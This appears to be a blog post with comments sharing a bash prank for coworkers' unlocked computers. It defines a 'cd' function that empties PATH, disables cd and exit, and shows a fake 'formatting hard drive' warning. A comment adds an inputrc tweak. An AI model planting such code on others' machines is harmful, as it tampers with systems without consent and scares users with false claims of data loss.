aktpza
Last Updated: May 19, 2016
·
5.852K
· blainesch

Trolling your friends Command Line

We recently had a new rule to lock our computers when we leave. A few of the people on my team are having issues with this. I've done things from simply reminding them to changing their keyboard to another language. I decided to take it a step further.

This will appear to be "formatting" their hard drive, and then proceed to remove all of their PATH so they don't have access to any commands.

function cd() {
    # Aliases
    alias cd=''
    alias exit=''

    # Variables
    NONE='\033[00m'
    RED='\033[01;31m'
    SLEEP=`which sleep`
    SEQ=`which seq`

    # Remove Path
    export PATH=''

    # Script
    echo -e "${RED}WARNING: FORMATTING HARD DRIVE.${NONE} This may take a few minutes."
    for i in `${SEQ} 1 300`;
    do
        echo -n '.'
        if [ $(( $i % 50 )) -eq 0 ] ; then
            echo
        fi
        `${SLEEP} 0.1`
    done
}

9 Responses
Add your response

17368

Nice... another option is to send a meeting invite for lunch from their computer... but this is a lot cooler.

over 1 year ago ·
17400

I think it's childish bullying behavior. Keep your fingers from other people's stuff. Reiterate the importance of locking in a way that fits a grown-up

over 1 year ago ·
17421

:D Nice. We do something similiar like @victorbrca. If we see a unlocked PC we write a Mail to all "I will bring a cake tomorrow." :D

over 1 year ago ·
17434

@ruurd Assuming you're actually a prude and not trolling of course, but please keep the SJWing to tumblr. This is an innocent and quite funny prank. Bullying is a state of mind, not a sequence of actions.

over 1 year ago ·
17435

@bvector Assume all you want. You've known me for years. You're right. Bullying is a state of mind. Your mind. Maybe the prank is innocent, the laziness or ineptitude of not wanting or being able to explain the necessity of locking a workstation is what is childish and immature. This kind of behavior is what makes many workplaces where a lot of IT people are rather hostile. I can imagine why women don't want to work there.

over 1 year ago ·
17436

Edit their ~/.inputrc file:

"vi": "emacs"
"nano":"emacs"
"pico":"emacs"
over 1 year ago ·
17437

@ruurd nevermind, you just proved you're trolling. thanks for the laugh ^5

over 1 year ago ·
17489

If it's a rule then non-compliance seems like grounds for managerial review and/or discipline in a formal business setting. "Pranking", whether respectful of someone's feelings or not, seems like a more friendly way to 'tune' a workplace and less cold than being just another no-tolerance policy enforcer if you ask me.

over 1 year ago ·
17640

in our company when a person forgets his workstation unlocked we send an email to the line manager by the subject "resignation notice", of course we let the manager know in advance it's a prank so he can be "in" the game as well :P

over 1 year ago ·